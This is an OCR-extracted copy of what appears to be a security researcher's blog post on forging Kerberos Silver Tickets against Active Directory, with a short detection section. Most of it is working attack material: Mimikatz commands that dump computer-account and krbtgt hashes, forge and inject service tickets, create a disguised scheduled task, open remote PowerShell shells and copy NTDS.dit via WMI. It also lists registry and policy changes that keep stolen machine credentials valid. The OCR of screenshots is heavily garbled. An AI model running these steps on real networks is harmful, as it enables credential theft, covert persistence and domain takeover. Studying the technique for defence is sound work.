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Usually Golden Tickets (forged Kerberos TGTs) get all the press, but this post is about Silver Tickets and how
attackers use them to exploit systems.
I have talked about how Silver Tickets can be used to persist and even re-exploit an Active Directory enterprise in

presentations at security conferences this year. This post continues this research.

Typical Kerberos Authentication Flow:
User logs on with username & password.

1a. Password converted to NTLM hash, a timestamp is encrypted with the hash and sent to the KDC as an
authenticator in the authentication ticket (TGT) request (AS-REQ).

1b. The Domain Controller (KDC) checks user information (logon restrictions, group membership, etc) & creates
Ticket-Granting Ticket (TGT).

2. The TGT is encrypted, signed, & delivered to the user (AS-REP). Only the Kerberos service (KRBTGT) in the

domain can open and read TGT data.

3. The User presents the TGT to the DC when requesting a Ticket Granting Service (TGS) ticket (TGS-REQ). The
DC opens the TGT & validates PAC checksum — If the DC can open the ticket & the checksum check out, TGT =
valid. The data in the TGT is effectively copied to create the TGS ticket.

4. The TGS is encrypted using the target service accounts’ NTLM password hash and sent to the user (TGS-REP).

5.The user connects to the server hosting the service on the appropriate port & presents the TGS (AP-REQ). The
service opens the TGS ticket using its NTLM password hash.

Silver Ticket Overview:

Silver Tickets are forged Kerberos Ticket Granting Service (TGS) tickets, also called service tickets.
As shown in the following graphic, there is no AS-REQ / AS-REP (steps 1 & 2) and no TGS-REQ / TGS-REP (steps
3 & 4) communication with the Domain Controller. Since a Silver Ticket is a forged TGS, there is no communication

with a Domain Controller.
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e Alluded to at BlackHat during the “Golden Ticket” presentation (Duckwall/Delpy) and discussed partly
during Tim Medin’s DerbyCon 2014 talk. Skip & Benjamin have provided additional information on Silver
Tickets since, but confusion remains.

o The Kerberos Silver Ticket is a valid Ticket Granting Service (TGS) Kerberos ticket since it is

encrypted/signed by the service account configured with a Service Principal Name for each server the
Kerberos-authenticating service runs on.

e While a Golden ticket is a forged TGT valid for gaining access to any Kerberos service, the silver ticket is a
forged TGS. This means the Silver Ticket scope is limited to whatever service is targeted on a specific server.

o While a Golden ticket is encrypted/signed with the domain Kerberos service account (KRBTGT), a Silver
Ticket is encrypted/signed by the service account (computer account credential extracted from the computer’s
local SAM or service account credential).

e Most services don’t validate the PAC (by sending the PAC checksum to the Domain Controller for PAC
validation), so a valid TGS generated with the service account password hash can include a PAC that is
entirely fictitious — even claiming the user is a Domain Admin without challenge or correction.

e The attacker needs the service account password hash

e TGS is forged, so no associated TGT, meaning the DC is never contacted.

e Any event logs are on the targeted server.

In my opinion, Silver Tickets can be more dangerous than Golden Tickets — while the scope is more limited than
Golden Tickets, the required hash is easier to get and there is no communication with a DC when using them, so

detection is more difficult than Golden Tickets.

Creating Silver Tickets:

In order to create or forge a Silver Ticket, the attacker has to gain knowledge of the password data (password hash)
for the target service. If the target service is running under the context of a user account, like MS SQL, then the

Service Account’ password hash is required in order to create a Silver Ticket.
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Cracking Service Account passwords with Kerberoast is one potential method for identifying a target service’s

associated password data.

Computers host services as well with the most common one being the Windows file share which leverages the “cifs”
service. Since the computer itself hosts this service, the password data required to create a Silver Ticket is the
associated computer account’s password hash. When a computer is joined to Active Directory, a new computer
account object is created and linked to the computer. The password and associated hash is stored on the computer
that owns the account and the NTLM password hash is stored in the Active Directory database on the Domain

Controllers for the domain.

If an attacker can gain admin rights to the computer (to gain debug access) or be able to run code as local System, the
attacker can dump the AD computer account password hash from the system using Mimikatz (the NTLM password

hash is used to encrypt RC4 Kerberos tickets):

» <«

Mimikatz “privilege::debug” “sekurlsa::logonpasswords” exit

mimikatz # sekurlsa

Authentication Id
: n

Primary
: RDLAEDCOZS

d436f11270dc4df953F217F cFbdd?
7319c0c6ef0186b7eee8baedb306e91T2785 577

: RDLAEDCOZS
H:
: (Aull)
: RDLABDCOZS
.adsecurity. or
7 6Umxgm#CqE1+06KgoEdX -uph§,*N3 * LYY "k50mIWpOulr
"wbwm- 1

credman

Authentication Id : ;996 (00000000 :000003e4)
‘ n : Service from O

: RDLABDCOZS

o o

5 6:13:02
i}

: RDLABDCOZS
H
: (Aull)

: rdlabdc02$
ADSECURITY.ORG

Mimikatz Silver Ticket Command Reference

The Mimikatz command to create a golden or silver ticket is “kerberos::golden”
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e /domain — the fully qualified domain name. In this example: “lab.adsecurity.org”.
/sid — the SID of the domain. In this example: “S-1-5-21-1473643419-774954089-2222329127".

e /user — username to impersonate

 /groups (optional) — group RIDs the user is a member of (the first is the primary group)
default: 513,512,520,518,519 for the well-known Administrator’s groups (listed below).

/ticket (optional) — provide a path and name for saving the Golden Ticket file to for later use or use /ptt to

immediately inject the golden ticket into memory for use.
e /ptt—as an alternate to /ticket — use this to immediately inject the forged ticket into memory for use.

 /id (optional) — user RID. Mimikatz default is 500 (the default Administrator account RID).

/startoffset (optional) — the start offset when the ticket is available (generally set to —10 or 0 if this option is

used). Mimikatz Default value is 0.

/endin (optional) — ticket lifetime. Mimikatz Default value is 10 years (~5,262,480 minutes). Active Directory
default Kerberos policy setting is 10 hours (600 minutes).
e /renewmax (optional) — maximum ticket lifetime with renewal. Mimikatz Default value is 10 years

(~5,262,480 minutes). Active Directory default Kerberos policy setting is 7 days (10,080 minutes).
Silver Ticket Required Parameters:

 /target — the target server’s FQDN.
 /service — the kerberos service running on the target server. This is the Service Principal Name class (or type)
such as cifs, http, mssql.

e /rcd4 —the NTLM hash for the service (computer account or user account)
Silver Ticket Default Groups:

e Domain Users SID: S-1-5-21<DOMAINID>-513

e Domain Admins SID: S-1-5-21<DOMAINID>-512

e Schema Admins SID: S-1-5-21<DOMAINID>-518

e Enterprise Admins SID: S-1-5-21<DOMAINID>-519

e Group Policy Creator Owners SID: S-1-5-21<DOMAINID>-520

Example Mimikatz Command to Create a Silver Ticket:

The following Mimikatz command creates a Silver Ticket for the CIFS service on the server
adsmswin2k8r2.1ab.adsecurity.org. In order for this Silver Ticket to be successfully created, the AD computer
account password hash for adsmswin2k8r2.lab.adsecurity.org needs to be discovered, either from an AD domain
dump or by running Mimikatz on the local system as shown above (Mimikatz “privilege::debug”
“sekurlsa::logonpasswords” exit). The NTLM password hash is used with the /rc4 paramteer. The service SPN type
also needs to be identified in the /service parameter. Finally, the target computer’s fully-qualified domain name needs

to be provided in the /target parameter. Don’t forget the domain SID in the /sid parameter.

mimikatz “kerberos::golden /admin:LukeSkywalker /id: 1106 /domain:lab.adsecurity.org /sid:S-1-5-21-1473643419-
774954089-2222329127 /target:adsmswin2k8r2.lab.adsecurity.org /rc4:d7e2b80507ea074ad59f152a1ba20458

/service:cifs /ptt” exit

Persistence With Computer Accounts
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Once the attacker has access to the computer account password hash, the account can be used as a “user” account to
query Active Directory, but the more interesting use case is to create Silver Tickets to access computer hosted

since they aren’t forced to change by the Domain Controllers (set to 30 days by default but up to the computer to
actually change the password), it’s possible that once an attacker gains knowledge of the computer account
password, it could be used for a long time. Active Directory does not prevent a computer account from accessing AD

resources even if the computer account password hasn’t changed in years.
The attacker could also prevent the computer account password from changing:

1. the following registry key:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange
=1.

2. There’s a client Group Policy setting to prevent the computer from changing the password most often used to
support VDI (virtual desktops). Enabling the group policy setting “Domain member: Disable machine account
password changes” stops computers applying this GPO from changing their AD computer account password.
“The Domain member: Disable machine account password changes policy setting determines whether a
domain member periodically changes its computer account password. Setting its value to Enabled prevents
the domain member from changing the computer account password. Setting it to Disabled allows the domain
member to change the computer account password as specified by the value of the Domain member:
Maximum machine account password age policy setting, which is every 30 days by default.”

3. The domain Group Policy “Domain member: Maximum machine account password age” which tells the
domain joined computers how often they should change their computer account password (though this is

more of a guideline, than a rule). By default, this value is set to “30”, but if it is set to “0”, computers are

unable to change their passwords.

4. There’s a Domain Controller Group Policy setting “Domain controller: Refuse machine account password
changes” that sets the Domain Controller to prevent clients from updating their computer account password in
AD.

“This security setting determines whether domain controllers will refuse requests from member computers to
change computer account passwords. By default, member computers change their computer account
passwords every 30 days. If enabled, the domain controller will refuse computer account password change
requests.

If it is enabled, this setting does not allow a domain controller to accept any changes to a computer account’s

password.”

This is a valid (and current) method for an attacker to persist access even after all the user, admin, and service

account passwords are changed.

In normal Kerberos operations, the authentication ticket (TGT) is used to request service tickets (TGS) for each
Kerberos enabled service. Silver Tickets bypass this normal process by injecting the forged Kerberos TGS tickets

directly. Multiple Silver Tickets may be required to access the target service(s).
The most useful computer-hosted services and the associated silver ticket services required is in the table below.

Detecting Silver Tickets:
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The best chance of detecting Silver Tickets is to monitor Windows security events on workstations, servers, and

Domain Controllers for logon/logoff events with anomalies in the domain field including the field being blank or

null.

Service to Silver Ticket Reference:

Service Type Service Silver Tickets
HOST
WMI
RPCSS
HOST
HTTP
PowerShell Remoting Depending on OS version may also need:
WSMAN
RPCSS
HOST
WinRM
HTTP
Scheduled Tasks HOST
Windows File Share (CIFS) CIFS
LDAP operations including Mimikatz DCSync LDAP
RPCSS
Windows Remote Server Administration Tools LDAP
CIFS

Silver Ticket Exploit Examples:

In these examples, the attacker has gained knowledge of the computer account’s password hash and uses it to create a
Silver Ticket to gain admin rights to different services hosted by the computer. If the attacker has dumped the Active
Directory database or gained knowledge of a Domain Controller’s computer account password, the attacker can use

Silver Tickets to target the DC’s services as an admin and persist in Active Directory.

Silver Ticket for Windows Share (CIFS) Admin Access

Create a Silver Ticket for the “cifs” service to gain admin rights to any Windows share on the target computer.
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mimikatz{commandline> # kerberos::golden sadmin:LukeSkywalker ~domain:LAB.ADSECURITY.ORG rid:2681
29 ] —H828990%24 rtarget:adsdcB2.lab.adsecurity.ory srcd:eaacd59f6664feBB3ibh7?34a18%98c9704e sservice:cifs ~ptt
LukeSkywalker
¥ ) 1!

Y . OR!

4 G
33315—21—138 3482-2957264255-828998924

518 519
cAg3h 3 2784e — rc4_hmac_nt

H 5 2,2025 12:13:36 AM ; 3-12-2925 12:13:36 AM

PAC generated

PAC signed
EncTicketPart generated
EncTicketPart encrupted
KebCred generated

Golden ticket for °LukeSkywalker B LAB.ADSECURITY .ORG’ successfully submitted for current se

mimikatz{commandline> # exit
Bye?

After injecting the CIFS Silver Ticket, we can now access any share on the target computer including the c$ share
enabling us to copy files to or from the share. If we use a fake name in the Silver Ticket, we can make it look like

someone else accessed the data.

=

b () o2

=& B

XTI I I T IZIIS
-

iRl fsl s sl o)

f
v
tlu ] 0

b E
2/18-2815 8:54 PM 676916 Invoke—Mimikatz.ps1

e Sl o b e e e b b b o,

Silver Ticket for the Windows computer (HOST) with Admin Access

Create a Silver Ticket to gain admin rights to any Windows service covered by “host” on the target computer. This

includes the ability to modify and create scheduled tasks.

mimikatz(commandline> # kerberos::golden ~sadmin:LukeSkywalker ~domain:LAB.ADSECURITY.OR 2681 ssid:5-1-5-21-1387283
482-2957264255-828978%24 /tar :adsdcB2. lab.adsecurity.ory <rcd:eaacdh?fobb4feBiibh?34al 9784e /service:HOST ~ptt
LukeSkywalker

LAB.ADSECURITY.C

$-1-5-21-13872834 2957264255-828990924

sy 3-12-2825 12:19:42 AM

5 =
#*% Pass The Ticket =

PAC generated

PAC signed
EncTicketPart generated
EncTicketPart encrypted
KrhCred generated

Golden ticket for walke successfully submitted for current

mimikatz<{commandline> # exit
Bye ?
PE C:stempsmimikatz 2

Leveraging the HOST Silver Ticket, we can create a new scheduled task.
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Cached Tickets: (1D

A GClient: LukeSkywalker B LAB.ADSECURITY.ORG

Server: HOST- adsdcB2 adsecurity.orgy @ LAB.ADSECURITY.ORG
KerbTicket Encryptio pe: RSADSI RC4-HMAGCNT >

Ticket Flags 8x48a88888 —> forwardable renewabhle pre_authent
Start Time: 3-15-2815 19:42 {local>

End Time: 3,12,282 19:42 {locald>

Renew Time: 3-12-282 19:42 (local>

Session Key Type: REA RC4—HMACCNT >

PS Co\temp™ ikat=> schgas} reate -5 d“ch2 lah adﬂecurlty org #SC WEEKLY ~RU "NI Authority:System" ~TH "SCOM Agent

WARNING: The tas klname "'SCOM ﬂgent Healrh Check Ialready exists. Do you want to Peplace it Y/N>? y
ISBUCCESS: The scheduled task '"SCOM Agent Health Check' has successfully been created.

Check to see if the scheduled task was set. Yes, it’s there!

PSS C:istemp~mimikatz?> schtasks ~sguery -5 adsdcB2.lab.adsecurity.org

Folder: -
TazkName Mext Hun Time Status

SCOM Agent Health Check 3222015 12:21:80 AM  Read

Silver Ticket to Connect to PowerShell Remoting on Windows Computer with Admin Access

Create a Silver Ticket for the “http” service and “wsman” service to gain admin rights to WinRM and/or PowerShell

Remoting on the target system.

imikatz{commandlin # kerberos::golden Aadmin:LukeSkywalker domain:LAB.ADSECURITY.ORG ~/id:2681 /sid:=5-1-5-21-138%7283
442 - 2957264255 8289 24 /target:adschZ.lab.adsecurity.org Arcd:£79329f906f Bef 88e8d45c34e 7dBF 285 ruice tHTITP ~ptt

Bf28f - rc4_hmac_nt

451 4 H H 0825 19:16:44 PM ; 4-1-2025 18:16:44 PM
: #% Pass The Ticket »=»

PAC generated

PAC signed
EncTicketPart generated
EncTicketPart encrypted
KrhCred generated

olden ticket for °LukeSkywalker B LAB.ADSECURITY .ORG' succ fully submitted for current session

mimikatz{commandline> # kerberos::golden ~admin:LukeSkyw omain:LAB.ADSECURITY .ORG ~id:2681 ~rsid:=5-1-5-21-1387203

482—-2957264255-828998924 stargetadsdcB2.lab.adsecurity. £f79329f906f Bef 88e8d45c34e7dBf 28f sserviceiwsman sptt

lUser = LukeSkyuwalker

Domain : LAB.ADSECURITY.ORG

SID : §-1-5-21-1387203482-2957264255-828998924

User Id : 2681

Groups Id = *513 512 523 513 519
erviceley: g g dBf 28f — rc4_hmac_nt

adochZ lah. aduecul ty.or
B F 171-2825 18:18:88 PH ; 4 5 18:18:88 PM

b Pass The Tlcket s’

1
Ticket

PAC generated

PAC signed
EncTicketPart generated
EncTicketPart encrypted
KrhCred generated

Golden ticket for ’‘LukeSkywalker B LAE.ADSECURITY.ORG’ s ully submitted for current session

After injecting the two Silver Tickets, http & wsman, we can use PowerShell Remoting (or WinRM) to open a a shell
to the target system (assuming it’s configured with PowerShell Remoting and/or WinRM). New-PSSession is the
PowerShell cmdlet for creating a session to a remote system using PowerShell and Enter-PSSession opens the

remote shell.
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PS C:x> Mew—PSSession —Mame PSC —ComputerMame ADSDCHZ ; Enter—PS5Session —Hame PSC
ComputerMane State Conf igurationMame Availability
ADSDCAZ Microsoft.PowerShell Available

[ADSDCA2]1: PS C:slUserssLukeSkywalkersDocuments? cd o™

[ADSDCAZ2]1: PS8 C:x> ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection—specific DHNS Suffix

Link—local IPv6 Address . . . . fef@::8db:-712d:Pcf2:-712fx12
IPv4 Address. . . . . . T-X 172.16.11.12

Subnet Mask . . . . . o E 255.255.8.8

Default Gateway . . . . 172.16.23.2

Tunnel adapter isatap.{4824A223-E2B7-4816—%F65-E?7AFG6C17C3%:

Media State . . - Media disconnected

Cunnectiun—upeciéié ﬁNé éuéfix- L

Tunnel adapter Local Area Connection* 11:

MediaiState o a2 o s g o s 0o Media disconnected
Connection—specific DHS Suffix .
[ADSDCAZ21: PS C:s> _

PSS C-stempsmimikatzX | .“invoke—-mimikatz.p=sl

- B . mimikatz 2.8 alpha <x64» releasze "Kiwi en C' <Feb 16 2815 22:-15:28>
= R i
H ~ ~ HHt rx x =
i -~ -~ i Benjamin DELPY ‘gentilkiwi® ¢ benjaminlPgentilkiwi.com »
‘HE o #HE http:/7hlog.gentilkivi.com/mimikatz= Coe.eon)
* with 15 modules = * -

mimikatz{powershell> # privilege::debug
Privilege *28°' OK

mimikatz{powershell? ## lsadump::lza ~name:krhtgt Ainject
Domain = ADSECLAB ~ S5—1-5-21-1387203482-2957264255-828990924

A 6 (582>
llzer : krbtgt

=* Primary

NTLM : cdc53c2832915380af??5HF565ead1c?

Silver Ticket to Connect to LDAP on Windows Computer with Admin Access

Create a Silver Ticket for the “Idap” service to gain admin rights to LDAP services on the target system (including

Active Directory).
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art generated
EncTicketPart encrypted
*= KrbCred generated

Golden ticket for "Lukes

'dc:rdlabdc02. rd. adsecurity.org /domain:rd.adsecurit
be the domain
"rdlabdcoO d.adsecurity.org’ will be the DC server
"krbtgt® wi1l be the user account
: krbtgt
AM ACCOUNT =@

SAM Username : krbtot
= 30000000 ER_OBJECT )

t Control : 00000202 | OUNTDISABLE MORMAL_ACCOUNT )
wunt expiration z

/ Ph
Dbject Security ID 62-4185879466-3696909401-502
Object Relativ

Credentials:
Hash NT

Tm

Supplemental Credentials:
* Primary:Kerber
Default 5alt
Default Iterations
Credentials

des_cbc_mds 96) : 0edefdb9
rcd_plain ) : 8b4e3ific

L erberos *
Default Salt : ADSECURITY. DRGkrbtgt
Credentials
des_cbc_md5 : Dedefdb90elf3457
: Bbde3f3cB8esSel8cesfbl2dea’

Silver Ticket to Run Commands Remotely on a Windows Computer with WMI as an admin

Create a Silver Ticket for the “host” service and “rpcss” service to remotely execute commands on the target system
using WMLI.
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admin:Luk CURITY.ORG
ab. adsecu / 4.4 eedc551a%a2

2.0 alpha ) release "Kiwi

IE\'EHj-i!T'I'I- DELPY “gentilk
: .gentil i

CURITY.ORG
-21-1387203482-29

518 519
- rcd_hmac_nt

25 10:22:03 PM ; 11/14/2025 10:22:03 PM

ed
EncTicketPart generated
EncTicketPart encrypted
bCred generated

Golden ticket for 'Lu walker @ LAB.ADSECURITY.ORG' succe

) release "Kiwi p 16 2015 22:16:

518 519
pe3f6Beedcs51a9a22dcacess - rod_hmac_nt

2025 10:22:

EncTicketPart generated
EncTicketPart encrypted
* KrbCred generated
ully submitted for current s

ywalker @ LAE.ADSECURITY.ORG" succe:

Golden ticket for 'Luke

After injecting these Silver Tickets, we can confirm that the Kerberos TGS tickets are in memory by running “klist”
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P5 t:htemphmimiha = klist

Current LogonId 1s 0:0xacifsé

Client: alker @ LAE.ADSECURITY.ORG

Server: rpcss/: c02.lab. adsecurity.org LAB. ADSECURITY. ORG
KerbTicket Encryption Type: 51 RC4-HMAC (NT)

T'|' cket F] an:l EhamaDDDDD %Iable renewable pre_authent

End Time: g
Renew Time: 11{14
5es510 .

Client:

Server 5
KerbTicket Encryption Twp
Ticket Flags Ox40a00000
Start Time:

End Time:

Renew Time:

Session Key

After injecting the Silver Tickets, we can call WMIC or Invoke-WmiMethod by “passing the ticket” to run a
command on the target system.

Invoke-WmiMethod win32_process -ComputerName $Computer -Credential $Creds -name create -argumentlist
“$RunCommand”

c = Tenp>umic ~sauthority:-"kerberos :ADSECLAB~ADEDCHZ" node:ADSDCAZ process call create “cmd ~“c copy
2 GLOBALROOT ~Device~HardDizklUolumeShadowCopyl Hindows*NIDS .dit c:swindows“tempwntds.dit 2>x1"
Executing (Win32_Process)—>Created?

Method execution successful.
Dut Parameters:

inztance of _ PARAMETERS
{

ProcessId = 2156;
5 ReturnUalue = B8;

References:

e Abusing Microsoft Kerberos Sorry You Guys Don’t Get It (aka the Mimikatz Golden Ticket Presentation) —

Skip Duckwall & Benjamin Delpy,
o PAC Validation issue aka the Silver Ticket description from the Passing the Hash Blog

e Kerberoast: Tim Medin’s Attacking Microsoft Kerberos: Kicking the Guard Dog of Hades” presentation at
DerbyCon 2014. [Slides: https://www.dropbox.com/s/1j6v6zbtsdg1kam/Kerberoast.pdf?dI=0 ]

e Mimikatz and Active Directory Kerberos Attacks

e Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory
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